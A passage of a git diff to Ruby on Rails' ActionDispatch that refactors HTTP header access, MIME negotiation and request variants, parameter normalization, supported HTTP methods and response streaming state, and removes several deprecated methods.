- 'This file will be removed in Rails 4.1'
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index d002babee3..11b5e6be33 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2012 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -47,13 +47,11 @@ module ActionDispatch
autoload_under 'middleware' do
autoload :RequestId
- autoload :BestStandardsSupport
autoload :Callbacks
autoload :Cookies
autoload :DebugExceptions
autoload :ExceptionWrapper
autoload :Flash
- autoload :Head
autoload :ParamsParser
autoload :PublicExceptions
autoload :Reloader
@@ -63,6 +61,7 @@ module ActionDispatch
autoload :Static
end
+ autoload :Journey
autoload :MiddlewareStack, 'action_dispatch/middleware/stack'
autoload :Routing
@@ -74,20 +73,16 @@ module ActionDispatch
autoload :MimeNegotiation
autoload :Parameters
autoload :ParameterFilter
- autoload :FilterParameters
- autoload :FilterRedirect
autoload :Upload
autoload :UploadedFile, 'action_dispatch/http/upload'
autoload :URL
end
module Session
- autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
- autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store'
- autoload :EncryptedCookieStore, 'action_dispatch/middleware/session/cookie_store'
- autoload :UpgradeSignatureToEncryptionCookieStore, 'action_dispatch/middleware/session/cookie_store'
- autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
- autoload :CacheStore, 'action_dispatch/middleware/session/cache_store'
+ autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
+ autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store'
+ autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
+ autoload :CacheStore, 'action_dispatch/middleware/session/cache_store'
end
mattr_accessor :test_app
@@ -96,7 +91,6 @@ module ActionDispatch
autoload :Assertions
autoload :Integration
autoload :IntegrationTest, 'action_dispatch/testing/integration'
- autoload :PerformanceTest
autoload :TestProcess
autoload :TestRequest
autoload :TestResponse
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
index 0d6015d993..63a3cbc90b 100644
--- a/actionpack/lib/action_dispatch/http/cache.rb
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -92,7 +92,7 @@ module ActionDispatch
LAST_MODIFIED = "Last-Modified".freeze
ETAG = "ETag".freeze
CACHE_CONTROL = "Cache-Control".freeze
- SPESHUL_KEYS = %w[extras no-cache max-age public must-revalidate]
+ SPECIAL_KEYS = Set.new(%w[extras no-cache max-age public must-revalidate])
def cache_control_segments
if cache_control = self[CACHE_CONTROL]
@@ -108,7 +108,7 @@ module ActionDispatch
cache_control_segments.each do |segment|
directive, argument = segment.split('=', 2)
- if SPESHUL_KEYS.include? directive
+ if SPECIAL_KEYS.include? directive
key = directive.tr('-', '_')
cache_control[key.to_sym] = argument || true
else
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
index 4a7df6b657..2b851cc28d 100644
--- a/actionpack/lib/action_dispatch/http/filter_parameters.rb
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -1,13 +1,13 @@
-require 'mutex_m'
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/object/duplicable'
+require 'action_dispatch/http/parameter_filter'
module ActionDispatch
module Http
# Allows you to specify sensitive parameters which will be replaced from
# the request log by looking in the query string of the request and all
- # subhashes of the params hash to filter. If a block is given, each key and
- # value of the params hash and all subhashes is passed to it, the value
+ # sub-hashes of the params hash to filter. If a block is given, each key and
+ # value of the params hash and all sub-hashes is passed to it, the value
# or key can be replaced using String#replace or similar method.
#
# env["action_dispatch.parameter_filter"] = [:password]
@@ -21,8 +21,6 @@ module ActionDispatch
# end
# => reverses the value to all keys matching /secret/i
module FilterParameters
- @@parameter_filter_for = {}.extend(Mutex_m)
-
ENV_MATCH = [/RAW_POST_DATA/, "rack.request.form_vars"] # :nodoc:
NULL_PARAM_FILTER = ParameterFilter.new # :nodoc:
NULL_ENV_FILTER = ParameterFilter.new ENV_MATCH # :nodoc:
@@ -65,11 +63,7 @@ module ActionDispatch
end
def parameter_filter_for(filters)
- @@parameter_filter_for.synchronize do
- # Do we *actually* need this cache? Constructing ParameterFilters
- # doesn't seem too expensive.
- @@parameter_filter_for[filters] ||= ParameterFilter.new(filters)
- end
+ ParameterFilter.new(filters)
end
KV_RE = '[^&;=]+'
@@ -79,7 +73,6 @@ module ActionDispatch
parameter_filter.filter([[$1, $2]]).first.join("=")
end
end
-
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
index 900ce1c646..cd603649c3 100644
--- a/actionpack/lib/action_dispatch/http/filter_redirect.rb
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -5,7 +5,8 @@ module ActionDispatch
FILTERED = '[FILTERED]'.freeze # :nodoc:
def filtered_location
- if !location_filter.empty? && location_filter_match?
+ filters = location_filter
+ if !filters.empty? && location_filter_match?(filters)
FILTERED
else
location
@@ -15,15 +16,15 @@ module ActionDispatch
private
def location_filter
- if request.present?
+ if request
request.env['action_dispatch.redirect_filter'] || []
else
[]
end
end
- def location_filter_match?
- location_filter.any? do |filter|
+ def location_filter_match?(filters)
+ filters.any? do |filter|
if String === filter
location.include?(filter)
elsif Regexp === filter
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
index dc04d4577b..bc5410dc38 100644
--- a/actionpack/lib/action_dispatch/http/headers.rb
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -1,38 +1,98 @@
module ActionDispatch
module Http
+ # Provides access to the request's HTTP headers from the environment.
+ #
+ # env = { "CONTENT_TYPE" => "text/plain" }
+ # headers = ActionDispatch::Http::Headers.new(env)
+ # headers["Content-Type"] # => "text/plain"
class Headers
+ CGI_VARIABLES = Set.new(%W[
+ AUTH_TYPE
+ CONTENT_LENGTH
+ CONTENT_TYPE
+ GATEWAY_INTERFACE
+ HTTPS
+ PATH_INFO
+ PATH_TRANSLATED
+ QUERY_STRING
+ REMOTE_ADDR
+ REMOTE_HOST
+ REMOTE_IDENT
+ REMOTE_USER
+ REQUEST_METHOD
+ SCRIPT_NAME
+ SERVER_NAME
+ SERVER_PORT
+ SERVER_PROTOCOL
+ SERVER_SOFTWARE
+ ]).freeze
+
+ HTTP_HEADER = /\A[A-Za-z0-9-]+\z/
+
include Enumerable
+ attr_reader :env
+
+ def initialize(env = {}) # :nodoc:
+ @env = env
+ end
- def initialize(env = {})
- @headers = env
+ # Returns the value for the given key mapped to @env.
+ def [](key)
+ @env[env_name(key)]
end
- def [](header_name)
- @headers[env_name(header_name)]
+ # Sets the given value for the key mapped to @env.
+ def []=(key, value)
+ @env[env_name(key)] = value
end
- def []=(k,v); @headers[k] = v; end
- def key?(k); @headers.key? k; end
+ def key?(key)
+ @env.key? env_name(key)
+ end
alias :include? :key?
- def fetch(header_name, *args, &block)
- @headers.fetch env_name(header_name), *args, &block
+ # Returns the value for the given key mapped to @env.
+ #
+ # If the key is not found and an optional code block is not provided,
+ # raises a <tt>KeyError</tt> exception.
+ #
+ # If the code block is provided, then it will be run and
+ # its result returned.
+ def fetch(key, *args, &block)
+ @env.fetch env_name(key), *args, &block
end
def each(&block)
- @headers.each(&block)
+ @env.each(&block)
end
- private
+ # Returns a new Http::Headers instance containing the contents of
+ # <tt>headers_or_env</tt> and the original instance.
+ def merge(headers_or_env)
+ headers = Http::Headers.new(env.dup)
+ headers.merge!(headers_or_env)
+ headers
+ end
- # Converts a HTTP header name to an environment variable name if it is
- # not contained within the headers hash.
- def env_name(header_name)
- @headers.include?(header_name) ? header_name : cgi_name(header_name)
+ # Adds the contents of <tt>headers_or_env</tt> to original instance
+ # entries; duplicate keys are overwritten with the values from
+ # <tt>headers_or_env</tt>.
+ def merge!(headers_or_env)
+ headers_or_env.each do |key, value|
+ self[env_name(key)] = value
+ end
end
- def cgi_name(k)
- "HTTP_#{k.upcase.gsub(/-/, '_')}"
+ private
+ # Converts a HTTP header name to an environment variable name if it is
+ # not contained within the headers hash.
+ def env_name(key)
+ key = key.to_s
+ if key =~ HTTP_HEADER
+ key = key.upcase.tr('-', '_')
+ key = "HTTP_" + key unless CGI_VARIABLES.include?(key)
+ end
+ key
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 57660e93c4..9c8f65deac 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -10,6 +10,8 @@ module ActionDispatch
self.ignore_accept_header = false
end
+ attr_reader :variant
+
# The MIME type of the HTTP request, such as Mime::XML.
#
# For backward compatibility, the post \format is extracted from the
@@ -48,12 +50,18 @@ module ActionDispatch
# GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first
#
def format(view_path = [])
- formats.first
+ formats.first || Mime::NullType.instance
end
def formats
- @env["action_dispatch.request.formats"] ||=
- if parameters[:format]
+ @env["action_dispatch.request.formats"] ||= begin
+ params_readable = begin
+ parameters[:format]
+ rescue ActionController::BadRequest
+ false
+ end
+
+ if params_readable
Array(Mime[parameters[:format]])
elsif use_accept_header && valid_accept_header
accepts
@@ -62,6 +70,20 @@ module ActionDispatch
else
[Mime::HTML]
end
+ end
+ end
+ # Sets the \variant for template.
+ def variant=(variant)
+ if variant.is_a?(Symbol)
+ @variant = [variant]
+ elsif variant.is_a?(Array) && variant.any? && variant.all?{ |v| v.is_a?(Symbol) }
+ @variant = variant
+ else
+ raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols, not a #{variant.class}. " \
+ "For security reasons, never directly set the variant to a user-provided value, " \
+ "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+ "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+ end
end
# Sets the \format by string extension, which can be used to force custom formats
@@ -113,7 +135,7 @@ module ActionDispatch
end
end
- order.include?(Mime::ALL) ? formats.first : nil
+ order.include?(Mime::ALL) ? format : nil
end
protected
@@ -121,8 +143,8 @@ module ActionDispatch
BROWSER_LIKE_ACCEPTS = /,\s*\*\/\*|\*\/\*\s*,/
def valid_accept_header
- (xhr? && (accept || content_mime_type)) ||
- (accept && accept !~ BROWSER_LIKE_ACCEPTS)
+ (xhr? && (accept.present? || content_mime_type)) ||
+ (accept.present? && accept !~ BROWSER_LIKE_ACCEPTS)
end
def use_accept_header
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index f56f09c5b3..047a17937a 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,11 +1,12 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'singleton'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/string/starts_ends_with'
module Mime
class Mimes < Array
def symbols
- @symbols ||= map { |m| m.to_sym }
+ @symbols ||= map(&:to_sym)
end
%w(<< concat shift unshift push pop []= clear compact! collect!
@@ -44,8 +45,8 @@ module Mime
#
# respond_to do |format|
# format.html
- # format.ics { render text: post.to_ics, mime_type: Mime::Type["text/calendar"] }
- # format.xml { render xml: @people }
+ # format.ics { render text: @post.to_ics, mime_type: Mime::Type["text/calendar"] }
+ # format.xml { render xml: @post }
# end
# end
# end
@@ -53,10 +54,6 @@ module Mime
@@html_types = Set.new [:html, :all]
cattr_reader :html_types
- # These are the content types which browsers can generate without using ajax, flash, etc
- # i.e. following a link, getting an image or posting a form. CSRF protection
- # only needs to protect against these types.
- @@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text]
attr_reader :symbol
@register_callbacks = []
@@ -177,9 +174,9 @@ module Mime
end
def parse(accept_header)
- if accept_header !~ /,/
+ if !accept_header.include?(',')
accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
- parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)]
+ parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact
else
list, index = AcceptList.new, 0
accept_header.split(',').each do |header|
@@ -223,8 +220,8 @@ module Mime
Mime.instance_eval { remove_const(symbol) }
SET.delete_if { |v| v.eql?(mime) }
- LOOKUP.delete_if { |k,v| v.eql?(mime) }
- EXTENSION_LOOKUP.delete_if { |k,v| v.eql?(mime) }
+ LOOKUP.delete_if { |_,v| v.eql?(mime) }
+ EXTENSION_LOOKUP.delete_if { |_,v| v.eql?(mime) }
end
end
@@ -272,18 +269,6 @@ module Mime
end
end
- # Returns true if Action Pack should check requests using this Mime Type for possible request forgery. See
- # ActionController::RequestForgeryProtection.
- def verify_request?
- ActiveSupport::Deprecation.warn "Mime::Type#verify_request? is deprecated and will be removed in Rails 4.1"
- @@browser_generated_types.include?(to_sym)
- end
-
- def self.browser_generated_types
- ActiveSupport::Deprecation.warn "Mime::Type.browser_generated_types is deprecated and will be removed in Rails 4.1"
- @@browser_generated_types
- end
-
def html?
@@html_types.include?(to_sym) || @string =~ /html/
end
@@ -306,6 +291,25 @@ module Mime
method.to_s.ends_with? '?'
end
end
+
+ class NullType
+ include Singleton
+
+ def nil?
+ true
+ end
+
+ def ref; end
+
+ def respond_to_missing?(method, include_private = false)
+ method.to_s.ends_with? '?'
+ end
+
+ private
+ def method_missing(method, *args)
+ false if method.to_s.ends_with? '?'
+ end
+ end
end
require 'action_dispatch/http/mime_types'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index a6b3aee5e7..0e4da36038 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -7,6 +7,7 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati
Mime::Type.register "text/css", :css
Mime::Type.register "text/calendar", :ics
Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
Mime::Type.register "image/png", :png, [], %w(png)
Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
index 6610315da7..a5cd26a3c1 100644
--- a/actionpack/lib/action_dispatch/http/parameters.rb
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -1,13 +1,11 @@
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/deprecation'
module ActionDispatch
module Http
module Parameters
- def initialize(env)
- super
- @symbolized_path_params = nil
- end
+ PARAMETERS_KEY = 'action_dispatch.request.path_parameters'
# Returns both GET and POST \parameters in a single hash.
def parameters
@@ -18,71 +16,50 @@ module ActionDispatch
query_parameters.dup
end
params.merge!(path_parameters)
- encode_params(params).with_indifferent_access
end
end
alias :params :parameters
def path_parameters=(parameters) #:nodoc:
- @symbolized_path_params = nil
- @env.delete("action_dispatch.request.parameters")
- @env["action_dispatch.request.path_parameters"] = parameters
+ @env.delete('action_dispatch.request.parameters')
+ @env[PARAMETERS_KEY] = parameters
end
- # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
def symbolized_path_parameters
- @symbolized_path_params ||= path_parameters.symbolize_keys
+ ActiveSupport::Deprecation.warn(
+ '`symbolized_path_parameters` is deprecated. Please use `path_parameters`.'
+ )
+ path_parameters
end
# Returns a hash with the \parameters used to form the \path of the request.
# Returned hash keys are strings:
#
# {'action' => 'my_action', 'controller' => 'my_controller'}
- #
- # See <tt>symbolized_path_parameters</tt> for symbolized keys.
def path_parameters
- @env["action_dispatch.request.path_parameters"] ||= {}
- end
-
- def reset_parameters #:nodoc:
- @env.delete("action_dispatch.request.parameters")
+ @env[PARAMETERS_KEY] ||= {}
end
private
- # TODO: Validate that the characters are UTF-8. If they aren't,
- # you'll get a weird error down the road, but our form handling
- # should really prevent that from happening
- def encode_params(params)
- if params.is_a?(String)
- return params.force_encoding("UTF-8").encode!
- elsif !params.is_a?(Hash)
- return params
- end
-
- params.each do |k, v|
- case v
- when Hash
- encode_params(v)
- when Array
- v.map! {|el| encode_params(el) }
+ # Convert nested Hash to HashWithIndifferentAccess.
+ #
+ def normalize_encode_params(params)
+ case params
+ when Hash
+ if params.has_key?(:tempfile)
+ UploadedFile.new(params)
else
- encode_params(v)
+ params.each_with_object({}) do |(key, val), new_hash|
+ new_hash[key] = if val.is_a?(Array)
+ val.map! { |el| normalize_encode_params(el) }
+ else
+ normalize_encode_params(val)
+ end
+ end.with_indifferent_access
end
- end
- end
-
- # Convert nested Hash to HashWithIndifferentAccess
- def normalize_parameters(value)
- case value
- when Hash
- h = {}
- value.each { |k, v| h[k] = normalize_parameters(v) }
- h.with_indifferent_access
- when Array
- value.map { |e| normalize_parameters(e) }
else
- value
+ params
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 3de927abc8..2a7bb374a5 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -1,12 +1,16 @@
-require 'tempfile'
require 'stringio'
-require 'strscan'
-require 'active_support/core_ext/hash/indifferent_access'
-require 'active_support/core_ext/string/access'
require 'active_support/inflector'
require 'action_dispatch/http/headers'
require 'action_controller/metal/exceptions'
+require 'rack/request'
+require 'action_dispatch/http/cache'
+require 'action_dispatch/http/mime_negotiation'
+require 'action_dispatch/http/parameters'
+require 'action_dispatch/http/filter_parameters'
+require 'action_dispatch/http/upload'
+require 'action_dispatch/http/url'
+require 'active_support/core_ext/array/conversions'
module ActionDispatch
class Request < Rack::Request
@@ -14,12 +18,12 @@ module ActionDispatch
include ActionDispatch::Http::MimeNegotiation
include ActionDispatch::Http::Parameters
include ActionDispatch::Http::FilterParameters
- include ActionDispatch::Http::Upload
include ActionDispatch::Http::URL
autoload :Session, 'action_dispatch/request/session'
+ autoload :Utils, 'action_dispatch/request/utils'
- LOCALHOST = Regexp.union [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
+ LOCALHOST = Regexp.union [/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
ENV_METHODS = %w[ AUTH_TYPE GATEWAY_INTERFACE
PATH_TRANSLATED REMOTE_HOST
@@ -49,6 +53,17 @@ module ActionDispatch
@uuid = nil
end
+ def check_path_parameters!
+ # If any of the path parameters has an invalid encoding then
+ # raise since it's likely to trigger errors further on.
+ path_parameters.each do |key, value|
+ next unless value.respond_to?(:valid_encoding?)
+ unless value.valid_encoding?
+ raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+ end
+ end
+ end
+
def key?(key)
@env.key?(key)
end
@@ -60,6 +75,7 @@ module ActionDispatch
# Ordered Collections Protocol (WebDAV) (http://www.ietf.org/rfc/rfc3648.txt)
# Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol (http://www.ietf.org/rfc/rfc3744.txt)
# Web Distributed Authoring and Versioning (WebDAV) SEARCH (http://www.ietf.org/rfc/rfc5323.txt)
+ # Calendar Extensions to WebDAV (http://www.ietf.org/rfc/rfc4791.txt)
# PATCH Method for HTTP (http://www.ietf.org/rfc/rfc5789.txt)
RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
@@ -67,9 +83,10 @@ module ActionDispatch
RFC3648 = %w(ORDERPATCH)
RFC3744 = %w(ACL)
RFC5323 = %w(SEARCH)
+ RFC4791 = %w(MKCALENDAR)
RFC5789 = %w(PATCH)
- HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789
+ HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789
HTTP_METHOD_LOOKUP = {}
@@ -88,6 +105,12 @@ module ActionDispatch
@request_method ||= check_method(env["REQUEST_METHOD"])
end
+ def request_method=(request_method) #:nodoc:
+ if check_method(request_method)
+ @request_method = env["REQUEST_METHOD"] = request_method
+ end
+ end
+
# Returns a symbol form of the #request_method
def request_method_symbol
HTTP_METHOD_LOOKUP[request_method]
@@ -148,18 +171,40 @@ module ActionDispatch
Http::Headers.new(@env)
end
+ # Returns a +String+ with the last requested path including their params.
+ #
+ # # get '/foo'
+ # request.original_fullpath # => '/foo'
+ #
+ # # get '/foo?bar'
+ # request.original_fullpath # => '/foo?bar'
def original_fullpath
@original_fullpath ||= (env["ORIGINAL_FULLPATH"] || fullpath)
end
+ # Returns the +String+ full path including params of the last URL requested.
+ #
+ # # get "/articles"
+ # request.fullpath # => "/articles"
+ #
+ # # get "/articles?page=2"
+ # request.fullpath # => "/articles?page=2"
def fullpath
@fullpath ||= super
end
+ # Returns the original request URL as a +String+.
+ #
+ # # get "/articles?page=2"
+ # request.original_url # => "http://www.example.com/articles?page=2"
def original_url
base_url + original_fullpath
end
+ # The +String+ MIME type of the request.
+ #
+ # # get "/articles"
+ # request.media_type # => "application/x-www-form-urlencoded"
def media_type
content_mime_type.to_s
end
@@ -170,8 +215,8 @@ module ActionDispatch
end
# Returns true if the "X-Requested-With" header contains "XMLHttpRequest"
- # (case-insensitive). All major JavaScript libraries send this header with
- # every Ajax request.
+ # (case-insensitive), which may need to be manually added depending on the
+ # choice of JavaScript libraries and frameworks.
def xml_http_request?
@env['HTTP_X_REQUESTED_WITH'] =~ /XMLHttpRequest/i
end
@@ -186,7 +231,7 @@ module ActionDispatch
@remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s
end
- # Returns the unique request id, which is based off either the X-Request-Id header that can
+ # Returns the unique request id, which is based on either the X-Request-Id header that can
# be generated by a firewall, load balancer, or web server or by the RequestId middleware
# (which sets the action_dispatch.request_id environment variable).
#
@@ -205,8 +250,9 @@ module ActionDispatch
# work with raw requests directly.
def raw_post
unless @env.include? 'RAW_POST_DATA'
- @env['RAW_POST_DATA'] = body.read(@env['CONTENT_LENGTH'].to_i)
- body.rewind if body.respond_to?(:rewind)
+ raw_post_body = body
+ @env['RAW_POST_DATA'] = raw_post_body.read(content_length)
+ raw_post_body.rewind if raw_post_body.respond_to?(:rewind)
end
@env['RAW_POST_DATA']
end
@@ -251,16 +297,16 @@ module ActionDispatch
# Override Rack's GET method to support indifferent access
def GET
- @env["action_dispatch.request.query_parameters"] ||= (normalize_parameters(super) || {})
- rescue TypeError => e
+ @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge(normalize_encode_params(super || {}))
+ rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
raise ActionController::BadRequest.new(:query, e)
end
alias :query_parameters :GET
# Override Rack's POST method to support indifferent access
def POST
- @env["action_dispatch.request.request_parameters"] ||= (normalize_parameters(super) || {})
- rescue TypeError => e
+ @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge(normalize_encode_params(super || {}))
+ rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
raise ActionController::BadRequest.new(:request, e)
end
alias :request_parameters :POST
@@ -279,32 +325,24 @@ module ActionDispatch
LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
end
- protected
-
- # Remove nils from the params hash
+ # Extracted into ActionDispatch::Request::Utils.deep_munge, but kept here for backwards compatibility.
def deep_munge(hash)
- hash.each_value do |v|
- case v
- when Array
- v.grep(Hash) { |x| deep_munge(x) }
- v.compact!
- when Hash
- deep_munge(v)
- end
- end
+ ActiveSupport::Deprecation.warn(
+ 'This method has been extracted into `ActionDispatch::Request::Utils.deep_munge`. Please start using that instead.'
+ )
- hash
+ Utils.deep_munge(hash)
end
- def parse_query(qs)
- deep_munge(super)
- end
+ protected
+ def parse_query(qs)
+ Utils.deep_munge(super)
+ end
private
-
- def check_method(name)
- HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
- name
- end
+ def check_method(name)
+ HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS[0...-1].join(', ')}, and #{HTTP_METHODS[-1]}")
+ name
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index 0f808ac9cf..33de2f8b5f 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,5 +1,7 @@
-require 'digest/md5'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/string/filters'
+require 'active_support/deprecation'
+require 'action_dispatch/http/filter_redirect'
require 'monitor'
module ActionDispatch # :nodoc:
@@ -32,10 +34,17 @@ module ActionDispatch # :nodoc:
# end
# end
class Response
- attr_accessor :request, :header
+ # The request that the response is responding to.
+ attr_accessor :request
+
+ # The HTTP status code.
attr_reader :status
+
attr_writer :sending_file
+ # Get and set headers for this response.
+ attr_accessor :header
+
alias_method :headers=, :header=
alias_method :headers, :header
@@ -50,12 +59,16 @@ module ActionDispatch # :nodoc:
# If a character set has been defined for this response (see charset=) then
# the character set information will also be included in the content type
# information.
- attr_accessor :charset
attr_reader :content_type
+ # The charset of the response. HTML wants to know the encoding of the
+ # content you're giving them, so we need to send that along.
+ attr_accessor :charset
+
CONTENT_TYPE = "Content-Type".freeze
SET_COOKIE = "Set-Cookie".freeze
LOCATION = "Location".freeze
+ NO_CONTENT_CODES = [204, 304]
cattr_accessor(:default_charset) { "utf-8" }
cattr_accessor(:default_headers)
@@ -80,7 +93,13 @@ module ActionDispatch # :nodoc:
end
def each(&block)
- @buf.each(&block)
+ @response.sending!
+ x = @buf.each(&block)
+ @response.sent!
+ x
+ end
+
+ def abort
end
def close
@@ -93,6 +112,7 @@ module ActionDispatch # :nodoc:
end
end
+ # The underlying body, as a streamable object.
attr_reader :stream
def initialize(status = 200, header = {}, body = [])
@@ -106,6 +126,8 @@ module ActionDispatch # :nodoc:
@blank = false
@cv = new_cond
@committed = false
+ @sending = false
+ @sent = false
@content_type = nil
@charset = nil
@@ -126,52 +148,72 @@ module ActionDispatch # :nodoc:
end
end
+ def await_sent
+ synchronize { @cv.wait_until { @sent } }
+ end
+
def commit!
synchronize do
+ before_committed
@committed = true
@cv.broadcast
end
end
- def committed?
- @committed
+ def sending!
+ synchronize do
+ before_sending
+ @sending = true
+ @cv.broadcast
+ end
+ end
+
+ def sent!
+ synchronize do
+ @sent = true
+ @cv.broadcast
+ end
end
+ def sending?; synchronize { @sending }; end
+ def committed?; synchronize { @committed }; end
+ def sent?; synchronize { @sent }; end
+
+ # Sets the HTTP status code.
def status=(status)
@status = Rack::Utils.status_code(status)
end
+ # Sets the HTTP content type.
def content_type=(content_type)
@content_type = content_type.to_s
end
- # The response code of the request
+ # The response code of the request.
def response_code
@status
end
- # Returns a String to ensure compatibility with Net::HTTPResponse
+ # Returns a string to ensure compatibility with <tt>Net::HTTPResponse</tt>.
def code
@status.to_s
end
+ # Returns the corresponding message for the current HTTP status code:
+ #
+ # response.status = 200
+ # response.message # => "OK"
+ #
+ # response.status = 404
+ # response.message # => "Not Found"
+ #
def message
Rack::Utils::HTTP_STATUS_CODES[@status]
end
alias_method :status_message, :message
- def respond_to?(method)
- if method.to_sym == :to_path
- stream.respond_to?(:to_path)
- else
- super
- end
- end
-
- def to_path
- stream.to_path
- end
-
+ # Returns the content of the response as a string. This contains the contents
+ # of any calls to <tt>render</tt>.
def body
strings = []
each { |part| strings << part.to_s }
@@ -180,13 +222,16 @@ module ActionDispatch # :nodoc:
EMPTY = " "
+ # Allows you to manually set or override the response body.
def body=(body)
@blank = true if body == EMPTY
if body.respond_to?(:to_path)
@stream = body
else
- @stream = build_buffer self, munge_body_object(body)
+ synchronize do
+ @stream = build_buffer self, munge_body_object(body)
+ end
end
end
@@ -204,11 +249,13 @@ module ActionDispatch # :nodoc:
::Rack::Utils.delete_cookie_header!(header, key, value)
end
+ # The location header we'll be responding with.
def location
headers[LOCATION]
end
alias_method :redirect_url, :location
+ # Sets the location header we'll be responding with.
def location=(url)
headers[LOCATION] = url
end
@@ -217,11 +264,39 @@ module ActionDispatch # :nodoc:
stream.close if stream.respond_to?(:close)
end
+ def abort
+ if stream.respond_to?(:abort)
+ stream.abort
+ elsif stream.respond_to?(:close)
+ # `stream.close` should really be reserved for a close from the
+ # other direction, but we must fall back to it for
+ # compatibility.
+ stream.close
+ end
+ end
+
+ # Turns the Response into a Rack-compatible array of the status, headers,
+ # and body. Allows explict splatting:
+ #
+ # status, headers, body = *response
def to_a
rack_response @status, @header.to_hash
end
alias prepare! to_a
- alias to_ary to_a # For implicit splat on 1.9.2
+
+ # Be super clear that a response object is not an Array. Defining this
+ # would make implicit splatting work, but it also makes adding responses
+ # as arrays work, and "flattening" responses, cascading to the rack body!
+ # Not sensible behavior.
+ def to_ary
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `ActionDispatch::Response#to_ary` no longer performs implicit conversion
+ to an array. Please use `response.to_a` instead, or a splat like `status,
+ headers, body = *response`.
+ MSG
+
+ to_a
+ end
